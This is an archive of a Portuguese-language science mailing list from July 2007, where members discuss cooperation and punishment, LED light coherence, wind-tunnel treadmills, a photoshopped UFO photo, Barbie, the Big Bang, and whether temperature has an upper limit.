--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> > Eles argumentam que em qualquer tipo de comunidade existem
> > três tipos de indivíduos: os cooperadores, que executam a sua
> > parte da tarefa e são recompensados pelo esforço; os desertores,
> > que se negam a executar o trabalho, mas mesmo assim se beneficiam
> > pelo trabalho dos outros; e os punidores, que penalizam os
> > desertores.
>
> Não entendi porq eles diferenciaram os punidores dos colaboradores. Um
> colaborador - ou o grupo de colaboradores - poderiam punir os
> desertores. Indivíduos poderiam adotar a estratégia tit-for-tat,
> blindando o grupo contra os desertores.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: As raízes da punição
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 00:05

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Pode ser que o sentido seja "existem tres tipos de comportamento" e
> não de indivíduos. Eu postei o original em inglês, você poderia
> verificar se o sentido original não se perdeu na tradução?

"They reasoned that within any such community, there would
be three types of individuals: cooperators, who do their fair share
and are rewarded for their effort; defectors, who beg off but still
benefit from the others' work; and punishers, who penalize the defectors."

Além disso, no tit-for-tat não há necessidade da presença dos
não-participantes: os desertores não prosperam onde há um tit-for-tat.
(Embora em um ambiente em q haja apenas tit-for-tat os colaboradores
possam prosperar.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Marcos - Re: Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 00:42

Em 29/07/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Tomarei mais cuidado daqui para frente, Marcos.

Muito grato! Abraço!

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 00:56

Em 29/07/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> escreveu:
>
> Hum..., não tenho intenção de travar detabes em PVT.
>

Apesar da insistência do interlocutor em contrariar as regras da
lista, a mensagem foi respondida em PVT.

Saudações,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Não confie em seus olhos. Principalmente se for um cético
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 31/07/2007 03:14

N�o confie em seus olhos. Principalmente se for um
c�tico<http://www.ceticismoaberto.com/news/?p=932>

<http://www.divshare.com/download/1419658-2ec>
Clique na imagem para conferir o original em sua gl�ria de 12 megapixels e
mais de 2 Mb de tamanho. Como o pr�prio nome do arquivo confessa, � uma
imagem "photoshopada", editada digitalmente, em que a coluna de apoio foi
apagada. Isto �, o disco � bem real, apenas n�o � voador. A imagem �
especialmente interessante porque, � primeira vista, parece completamente
digital. Ou, pelo menos, esta � a impress�o que tive ao v�-la. O disco
pareceu algo pequeno, ou artificial, ou de toda forma, qualquer coisa menos
um disco real de tamanho consider�vel naquele cen�rio. Mas, repetindo, o
disco � real e deve ter v�rios metros de tamanho, ainda que eu n�o saiba
exatamente o que seria � n�o � uma caixa d'�gua, e estou inclinado entre uma
torre de luz ou de som.
Anos de exposi��o a filmes com computa��o gr�fica podem ter criado uma falsa
no��o do que � real ou n�o, mesmo ao c�tico. Mas confiar apenas em seus
olhos e um "feeling" do que � real ou falso n�o � uma atitude nada c�tica,
ainda que seja para professar sua descren�a em algo.
Um outro exemplo de como nosso "feeling", nossa intui��o, mesmo "c�tica",
pode ser falha s�o as imagens tomadas com lentes
m�veis<http://www.ceticismoaberto.com/news/?p=679>.
Simplesmente porque t�m diferentes partes com focos diferentes, e porque
estamos acostumados a ver tais efeitos em fotografias de objetos pequenos,
temos a impress�o de que mesmo cen�rios grandes s�o apenas miniaturas. O
fascinante � que tal efeito por ser aplicado mesmo a uma imagem comum,
digitalmente <http://recedinghairline.co.uk/tutorials/fakemodel/>. Tamb�m
parecer� uma miniatura, simples assim.
N�o confie em seus olhos, *principalmente* se for um c�tico.
Veja tamb�m

- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=134>Nossa Senhora dos Olhos
Luminescentes Os olhos e o cora��o de uma est�...
- Sobre CeticismoAberto <http://www.ceticismoaberto.com/news/?p=658>Em
quase cinco anos, CeticismoAberto serviu a quase dois milh�es de ...
- "Beb� vidente e com tr�s olhos, arruina show da banda
Calypso"<http://www.ceticismoaberto.com/news/?p=764>Tr�s
olhos, dentes, cabeluda e com capacidade de vidente. Essas s&ati...
- Proj�til de Energia em Pulso
(PEP)<http://www.ceticismoaberto.com/news/?p=700>DefenseTech
informa: O Proj�til de Energia em Pulso (PEP) dispara u...
- Garadi�volo beb� <http://www.ceticismoaberto.com/news/?p=902> "Todos
os beb�s s�o bonitinhos, incluindo os beb�s de G...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Fortianismo<http://www.ceticismoaberto.com/news/?cat=4>,
Ufologia <http://www.ceticismoaberto.com/news/?cat=2> | Por Mori
Comente! �<http://www.ceticismoaberto.com/news/?p=932#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Gerando luz através de osciladores.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 03:24

Roberto,

O LED não tem emissão contínua; sua 'produção' se dá em forma de 'pacotes' (trens de ondas; pulsos). Cada pacote caracteriza-se por onda de freqüência numa estreita faixa e coerente, mas, de um pacote para outro o plano de vibração é alterado. O LED-LASER, mais elaborado que o LED comum é dotado de artifícios para garantir na saída a coerência entre os trens de onda; mas a emissão continua a ser descontínua.
Não, não dá para enxergar esses 'pacotinhos' individuais um atrás do outro; o equipamento para isso é bem sofisticado. Para efeitos práticos "tudo se passa" como se o feixe fosse contínuo ... e dá até para modular feixe laser para transmitir voz, música etc.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


"Luiz Ferraz Netto"
> Não Jeff, no LED não temos controle algum de freqüência; esta já
> está fixada pela estrutura do LED. Uma vez excitado pela corrente
> ele emitirá sempre ondas coerentes de mesma freqüência, no caso, uma
> estreita faixa do infra vermelho.

LED produz luz coerente?

[]s,

Roberto Takata





SUBJECT: Esteira gigante para carros da NASCAR
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 03:25

Esteira gigante para carros da NASCAR <http://100nexos.com/arquivo/217>

<http://www.jalopnik.com/cars/nascar/haas-builds-rolling-road-wind-tunnel-252670.php>
Essa é especial ao pessoal da
Ciencialist<http://br.groups.yahoo.com/group/ciencialist/>:
um time da NASCAR desenvolveu uma esteira gigante capaz de acomodar um carro
de verdade (sim, a foto acima não é de uma miniatura) correndo a mais de 280
km/h. A esteira é composta de aço com 1 mm de espessura, e não é mera
brincadeira. Você pode se perguntar de início por que nenhum gênio pensou em
simplesmente colocar as rodas do carro sobre rolos de metal, como geralmente
se faz, ou por que não se usou simplesmente um túnel de vento.
Mas a esteira gigante foi criada justamente para testes em túneis de vento.
Em testes convencionais, com o carro e o chão imóveis, o vento tende a
aderir ao chão, gerando um efeito que não ocorre na vida real. Ao fazer o
chão "correr" junto com o vento na esteira, as medidas seriam muito mais
precisas.
[via Jalopnik<http://www.jalopnik.com/cars/nascar/haas-builds-rolling-road-wind-tunnel-252670.php>
]


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: O Balaio de Gatos de Schoroedinger
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 03:43

Oi Roberto,

como vc deixou escapar da moderação uma dessas! Agora que estávamos engrenando a lista novamente, já deturpada justamente pela presença inoportuna do carro de corrida e Cia., aparece o gajo que nem sabe quem ele é, e vem perguntar prá lista?
Ele deveria, pelo menos, fazer uma consulta em seu cartão de identidade, recorrer ao cartório local, interrogar os parentes mais próximos, perguntar pro vizinho mais antigo, sei lá! Como aqui saberíamos dizer quem é ele, de onde veio, onde nasceu, que idade tem, qual seu sexo, que carburador prefere etc.!
Será que ele quer ganhar o posto de ser algum dos gatos de Schoroedinger? Será que ele pretende ser o 'colapso da função de onda? Será que ele quer que digamos que não sabemos se ele está morto ou vivo, pelo fato de não ter sido observado por ninguém?
Solicito moderação mais acentuada ao carro de corrida --- senão voltaremos ao inferno do 'perguntômetro' novamente, sem nada de útil para a lista. E olhe que ele já recomeçou a perguntar bem lá por baixo: "quem sou eu?"

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 30 de julho de 2007 13:27
Assunto: [ciencialist] Re: O Balaio de Gatos de Schoroedinger
Olá gatos, gatunos e gatojunos:
De que adianta voces tomarem posição cientifica,
existencial, e oscambu, diser que são assim, assado ou
ao ponto, se não conseguem sequer responder esta
simples pergunta: quem sou eu?
sinceramente
ferrari



SUBJECT: Enviando email: nd
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 07:40

Olá,

Novidades na área.
http://groups.tecnocientista.info/nd.asp?cod=5940

1-Está certo que o "O conceito de um Big Bang nada tem de intuitivo."

Concordância total e irrestrita.

2)-Estão equivocados os que assim pensam: "Como também parece ir contra todos os sentidos a idéia de uma velocidade constante e imutável da luz."

Se pensam que Einstein disse isso, de maneira geral e irrestrita, não disse. Que ele não era doido, embora parecesse. Aliás, poderia até ser. Só não era burro. A TRR refere-se a um situação específica, ideal, o vácuo. É que neguinho gosta de malhar Einstein e sua Teoria. Dá ibope e chama a atenção. Principalmente de leigos, que não conseguiram chegar lá, nos segredos do negócio e se embabascam com mistérios, de qualquer natureza.

3)-Também isto é certíssimo: "Mas os físicos sabem que esse é o melhor modelo existente hoje e que esse modelo permitiu avanços científicos cuja comprovação independe da intuição ou da avaliação pelos sentidos".

Ele, o autor do artigo, não relembra que, nesse caso particular, e só nesse, até onde se tem conhecimento, Einstein usou largamente apenas a intuição para a estruturação de sua TR, o que é inusitado. Até em razão de, à época, os recursos tecnológicos e experimentais serem pobrezinhos, como ficará a classe média, dentro de uns anos. Ele, Einstein, começou essa era de conhecimentos e desenvolvimentos científicos a que sua TR deu causa. Apesar disso, o desenvolvimento posterior, com o inevitável aumento de condições experimentais, acabaram mostrando que a TR parecia representar, adequadamente, o comportamento da natureza prá mais do que o encomendado. Fazer o quê?

Em tese sim, isto é também não é assim tão sofismático: "Eles sabem também que um modelo é menos do que uma teoria, que por sua vez é menos do que a realidade".

Contudo, uma teoria como a TR é danada para viver teimando em descrever corretamente o que se observa, e predizendo coisas que fogem à nossa vã filosofia. Mesmo que nossa mente tridimensional continue emperrada, sem a menor chance de entrever coisas em espaços 4-dimensionais. Mas, felizmente, as ferramentas matemáticas, de que dispomos, permitem que encaremos espaços numa boa, mesmo sem ter a menor idéia de como sejam. Mesmo se os espaços têm mais de 4 dimensões. Se há milagres, eis um deles.

O big-bang pode até ser sonhos de uma noite de verão. Mas tem um senhor respaldo observacional, ao longo desses últimos 70/80 anos. A menos que os dados obtidos por todos esses telescópios e outras tecnologias científicas, fartos dados, tenham sido:
a) fraudados por todos; ou,
b) interpretados de maneira inteiramente errada igualmente por todos; ou, ainda
c) nem tenham existido. Tenham sido advinhados pelos astrônomos, para justificarem seus salários e venderem seus livros,

então, realmente, o bang-bang pode ser caracterizado como um mero sonho. E não um pesadelo, na vida dos caçadores de recompensa. Mas me parece que os itens a, b e c, acima não são o caso. Ou seriam?

Se o cara desenvolver uma nova teoria nessa direção, e aconseguir ajustar os dados experimentais nessa teoria, além de fazer mais e melhor do que o que se tem, beleza. Que seja preferida, então. Nenhum problema. Mas esperarei prá ver. Espero que aconteça durante o restande de minha vida. Do contrário, irei me zangar mesmo, se morrer antes. Espero que esta não seja mais uma das inúmeras teorias "superiores" que já surgiram, cresceram e brocharam, solenente, logo após.

Sds,
Victor.








[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Esteira gigante para carros da NASCAR
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 07:42

Agora, se o avião levantar vôo dentro do túnel de vento! Créu!...



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: terça-feira, 31 de julho de 2007 03:26
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Esteira gigante para carros da NASCAR



Esteira gigante para carros da NASCAR <http://100nexos.com/arquivo/217>

<http://www.jalopnik.com/cars/nascar/haas-builds-rolling-road-wind-tunnel-25
2670.php>
Essa é especial ao pessoal da
Ciencialist<http://br.groups.yahoo.com/group/ciencialist/>:
um time da NASCAR desenvolveu uma esteira gigante capaz de acomodar um carro
de verdade (sim, a foto acima não é de uma miniatura) correndo a mais de 280
km/h. A esteira é composta de aço com 1 mm de espessura, e não é mera
brincadeira. Você pode se perguntar de início por que nenhum gênio pensou em
simplesmente colocar as rodas do carro sobre rolos de metal, como geralmente
se faz, ou por que não se usou simplesmente um túnel de vento.
Mas a esteira gigante foi criada justamente para testes em túneis de vento.
Em testes convencionais, com o carro e o chão imóveis, o vento tende a
aderir ao chão, gerando um efeito que não ocorre na vida real. Ao fazer o
chão "correr" junto com o vento na esteira, as medidas seriam muito mais
precisas.
[via
Jalopnik<http://www.jalopnik.com/cars/nascar/haas-builds-rolling-road-wind-t
unnel-252670.php>
]

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: RES: RES: [ciencialist] Gerando luz através de osciladores.
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 09:41

>
>Mas o principal empecilho para a tecnologia de radiodifusão na faixa
>do visível não é tto o tamanho dos receptores (vc tem ótimos
>receptores em uma câmara digital, por exemplo), mas sim o simples fato
>de q a maioria dos objetos ser opaca às ondas eletromagnéticas na
>faixa do visível.
>

Mas esta característica poderia ter uma aplicação, como segurança na
informação com comunicação sem fio "in-door", basta ninguém deixar a janela
aberta! :-)

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 10:01

De fato, ao não citar contexto social, a coisa fica muito caricata. Talvez
seja um mal dos "colunistas" de plantão.

Gil

Em 30/07/07, Shridhar Jayanthi <jshridhar@gmail.com> escreveu:
>
> Sim, sim. O que me espanta é a ênfase que ela dá no fato de que o
> projetista
> da Barbie era projetista de foguetes e o paralelo que ela traça no texto
> todo da Barbie como uma arma ideológica... O texto é curto, mas a única
> coisa que ela faz é traçar este paralelo inferindo que a Barbie é uma
> culpada, entre outros fatores, não um fato inserido num contexto maior. As
> Barbies podem ser um instrumento de reforço de esterótipos de beleza, mas
> o
> texto me pareceu mais uma daquelas propagandas anti-capitalismo do que uma
> análise da influência da Barbie na sociedade... enfim, besteira. Não quero
> trazer uma outra discussão boba sobre política aqui.
>
> Shridhar
> http://entropicando.blogspot.com
>


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SUBJECT: Re: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 10:26

Ok, Tenho que confessar: quando eu era moleque, queria ser um transformer.

Gil
Em 30/07/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> > Os bonecos não o fariam querer ser um G.I. Joe
>
> Fale por vc. Yo, Joe!
>
> http://comandosemacao.zip.net/
>
> []s,
>
> Roberto Takata
>
>
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SUBJECT: Re: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 12:01

Na minha época paleolítica não tinha transformer, tínhamos que nos contentar com Nioka (A deusa de Joba), Superhomem ou Flash Gordon. Optei por Flash Gordon, mais em função da Dale Arden do que do Dr. Zarkoff. Ah! Não havia carrinhos nem nada plásticos (havia uns pentes 'modernos' que não lembro qual era o material, ... não não era ebonite, era ... ), só os carrinhos de madeira e os modelos caríssimos de ferro fundido (além dos soldadinhos de chumbo!).
Para as meninas, as bonecas eram de pano com vestidinhos costurados à mão. Nem pensar em fazer uma boneca grávida! Seria uma heresia! Ah! bonecas não andavam de automóvel (dirigindo) --- imaginou! uma mulher na direção!!!!!
Todavia, sobre o texto do Assunto, achei a mensagem inicial uma bobeira.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Gil" <nanolink01@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 31 de julho de 2007 10:26
Assunto: Re: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE


Ok, Tenho que confessar: quando eu era moleque, queria ser um transformer.

Gil
Em 30/07/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> > Os bonecos não o fariam querer ser um G.I. Joe
>
> Fale por vc. Yo, Joe!
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> []s,
>
> Roberto Takata
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SUBJECT: RES: [ciencialist] Gerando luz através de osciladores.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 12:41

Léo,

Muito boa explanação.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: domingo, 29 de julho de 2007 22:17
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Gerando luz através de osciladores.



Olá J. Victor e Antônio,

tenho um texto pertinente que está em (só a primeira parte):

http://www.feiradeciencias.com.br/sala08/ET_01.asp

eis uma parte que convém à thread em curso:

++++++++
Portanto, ao movermos uma carga elétrica para trás e para diante a
diferentes freqüências, podemos gerar o espectro eletromagnético completo,
desde as ondas de rádio aos raios gama, incluindo microondas,
infravermelhos, radiação visível, ultravioleta e raios X. Estas designações
são, de certa forma, arbitrárias: não existem verdadeiras fronteiras entre
os diferentes tipos de ondas eletromagnéticas. Elas diferem na freqüência
(ou, equivalentemente, nos comprimentos de onda), que pode variar
continuamente dentro de toda gama do espectro.

E, para simplificar, tudo virou antena!
Apesar de todas as ondas eletromagnéticas serem semelhantes, podem ser
geradas de diferentes maneiras. Por exemplo, as ondas de rádio são
freqüentemente geradas por fios que conduzem corrente elétrica (antenas),
enquanto os raios gama são produzidos nas desintegrações nucleares. Mas
mesmo a qualificação das ondas pela forma como são geradas é arbitrária:
podemos convenientemente considerá-las geradas por 'antenas de diferentes
tamanhos': as ondas de rádio por grandes antenas, as microondas por antenas
menores (provavelmente o leitor já viu ambos os tipos); as ondas
infravermelhas, visíveis, e ultravioletas, geradas por antenas de dimensões
atômicas; os raios gama, por antenas de dimensões nucleares. Portanto, o
tamanho de uma antena pode variar desde vários metros até à bilionésima
parte do metro, ou menos.

As ondas eletromagnéticas diferem, também, pelo grau com que interagem com a
matéria. Se qualquer fonte de radiação puder ser vista como uma antena de
transmissão (um emissor), a matéria com que a radiação interage pode ser
vista como uma antena receptora (um receptor). A diferença essencial entre
os receptores é apenas a freqüência das ondas à qual respondem. Quando
giramos o 'botão das estações' de um rádio, estamos ajustando os seus
circuitos de forma que fiquem em sintonia com a freqüência da radiação
transmitida pela estação cujo programa desejamos ouvir; dai seu nome --
botão de sintonia --. O mesmo acontece com qualquer radiação
eletromagnética, não só com as ondas de rádio. Um receptor em sintonia com
uma radiação que parte de um emissor responderá fortemente a essa radiação;
o receptor poderá ter dimensões moleculares, atômicas ou até nucleares.

Espectro de emissão
...........
+++++++++++++++++++++

[]'
+++++++++++++
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: domingo, 29 de julho de 2007 21:02
Assunto: RES: [ciencialist] Gerando luz através de osciladores.

Olá, Antonio,

Esse assunto já foi discutido há muito tempo por aqui.

Um dos principais problemas da transmissão de sinais por ondas
eletromagnética está na antena, cujo "tamanho" é da ordem do comprimento de
onda.

Para a faixa luminosa, uma antena para transmiti-la seria da ordem de
nanômetros.

Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
qualquer. Mas não existe tecnologia para implementar uma antena nas
dimensões requeridas. Quanto à radiações de comprimentos de onda menores(ou
freqüências maiores), nem pensar.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Luiz Antonio Picanço
Enviada em: domingo, 29 de julho de 2007 19:36
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: [ciencialist] Gerando luz através de osciladores.

Salve pessoal,

estive aqui pensando:

A luz é uma onda eletromagnética.
Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
emissão de ondas ?

--
Luiz Antonio Picanço





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 13:36

Nesse artigo que indiquei (link abaixo), no Imperdível, tem um trecho especialmente útil a ser lido pelo carro de corrida, a saber:

+++++++++
Ou seja, nas devidas circunstâncias, toda radiação é capaz de produzir aquecimento.

Não só não existe qualquer tipo especial de radiação que mereça ser denominada radiação de aquecimento, como também não existe coisa alguma chamada calor, um argumento que pretendemos descrever com bastante cuidado. No que toca à minha opinião, "aquecer" é um verbo aceitável: "aquecer" é uma forma de dizer aumentar a temperatura de, da mesma forma que "esfriar" (ou "arrefecer") é uma forma abreviada de dizer diminuir a temperatura de.

"Calor", como em transferência de calor, para indicar uma forma particular de alterar a energia de um corpo, poderá ser usado com precaução. Mas "calor" como substantivo, não o usando metaforicamente, parece-me uma ótima forma de baralhar o pensamento. Infelizmente, as metáforas raramente são identificadas como tal. Conseqüentemente, tendem a ser tomadas literalmente, podendo (e em geral o fazem) causar enganos. Desta forma, o calor torna-se uma substância palpável na cabeça daqueles que usam este termo como um substantivo. Isto conduz-nos a disparates como, por exemplo, a noção de que o calor sobe (o ar quente pode subir, mas nunca o calor).
Quando a noção de calor como substância é combinada com a noção de que o calor é irradiado, aparecem mais disparates. Por exemplo, se o calor subir e se o calor for radiação (não estou a inventar isto, encontrei estas noções - e algumas piores - com uma freqüência preocupante), tal radiação pode ser transmitida apenas para cima, o que contraria a experiência.
O propósito disso é alertar para a deficiência nos conceitos que, no mais das vezes, decorre por imprecisões de linguagem. É necessária uma linguagem precisa em ciência, não para satisfazer os pedantes, mas para evitar que se absorvam disparates que podem levar anos, ou mesmo uma vida, para sair do nosso pensamento.
++++++++++++++++++++++

link: http://www.feiradeciencias.com.br/sala08/ET_01.asp


Vcs já leram a segunda parte desse texto?
Será que eu já a citei aqui? Será que já a publiquei? Vou ver.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 31 de julho de 2007 12:41
Assunto: RES: [ciencialist] Gerando luz através de osciladores.


Léo,

Muito boa explanação.

Sds,

Victor.



SUBJECT: Limite superior de temperaturas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 13:42

Tenho uma pergunta a ser postada (sinceramente não sei a origem da pergunta, se é mesmo uma bem antiga minha ou algo despertado por algum consulente):

O zero absoluto é o limite para as temperaturas inferiores; há algum limite para as superiores? Qual seria o significado desse limite superior?

[]'
Léo
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Radiacao Invisivel - parte 2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 13:51

Achei! Estava na pasta css, oculta para o público, e só disponível para o C-List (mediante link adequado) --- putz grila! Já está lá faz bom tempo!

http://www.feiradeciencias.com.br/css/radiacao_invisivel2.htm

No aguardo das sugestões/correções etc. -

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Limite superior de temperaturas
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 14:29

Filosofando só: a temperatura é, fundamentalmente, energia cinética. Então
dizer que existiria um limite superior é o mesmo que dizer que a energia
cinética de um sistema fechado tem um limite superior. Estou certo?

Shridhar

On 7/31/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Tenho uma pergunta a ser postada (sinceramente não sei a origem da
> pergunta, se é mesmo uma bem antiga minha ou algo despertado por algum
> consulente):
>
> O zero absoluto é o limite para as temperaturas inferiores; há algum
> limite para as superiores? Qual seria o significado desse limite superior?
>
> []'
> Léo
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Limite superior de temperaturas
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 14:30

Eu escrevi algo sobre temperatura faz alguns dias, talvez isso possa ajudar
também:
http://entropicando.blogspot.com/2007/07/o-frio-no-to-bvio-quanto-parece.html

Shridhar

On 7/31/07, Shridhar Jayanthi <jshridhar@gmail.com> wrote:
>
> Filosofando só: a temperatura é, fundamentalmente, energia cinética. Então
> dizer que existiria um limite superior é o mesmo que dizer que a energia
> cinética de um sistema fechado tem um limite superior. Estou certo?
>
> Shridhar
>
> On 7/31/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> >
> > Tenho uma pergunta a ser postada (sinceramente não sei a origem da
> > pergunta, se é mesmo uma bem antiga minha ou algo despertado por algum
> > consulente):
> >
> > O zero absoluto é o limite para as temperaturas inferiores; há algum
> > limite para as superiores? Qual seria o significado desse limite superior?
> >
> > []'
> > Léo
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br <leobarretos%40uol.com.br>
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> >
> >
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 16:53

Apesar de ter enviado a mensagem original, também não gostei do tom
demasiadamente maniqueista da autora, conduzindo a interpretações
paralelas um tanto exageradas. Gostei mais do texto do Rubens Alves,
que já postei neste fórum, em que ao final ele propõe que se
comercialize caixões para as barbies. Genial!
A Barbie é tão superflua quanto inevitável, eis uma grande paradoxo
para quem tem filhas.
Abraço,
Esteban.



Em 31/07/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>

>
> Na minha época paleolítica não tinha transformer, tínhamos que nos contentar com Nioka (A deusa de Joba), Superhomem ou Flash Gordon. Optei por Flash Gordon, mais em função da Dale Arden do que do Dr. Zarkoff. Ah! Não havia carrinhos nem nada plásticos (havia uns pentes 'modernos' que não lembro qual era o material, ... não não era ebonite, era ... ), só os carrinhos de madeira e os modelos caríssimos de ferro fundido (além dos soldadinhos de chumbo!).
> Para as meninas, as bonecas eram de pano com vestidinhos costurados à mão. Nem pensar em fazer uma boneca grávida! Seria uma heresia! Ah! bonecas não andavam de automóvel (dirigindo) --- imaginou! uma mulher na direção!!!!!
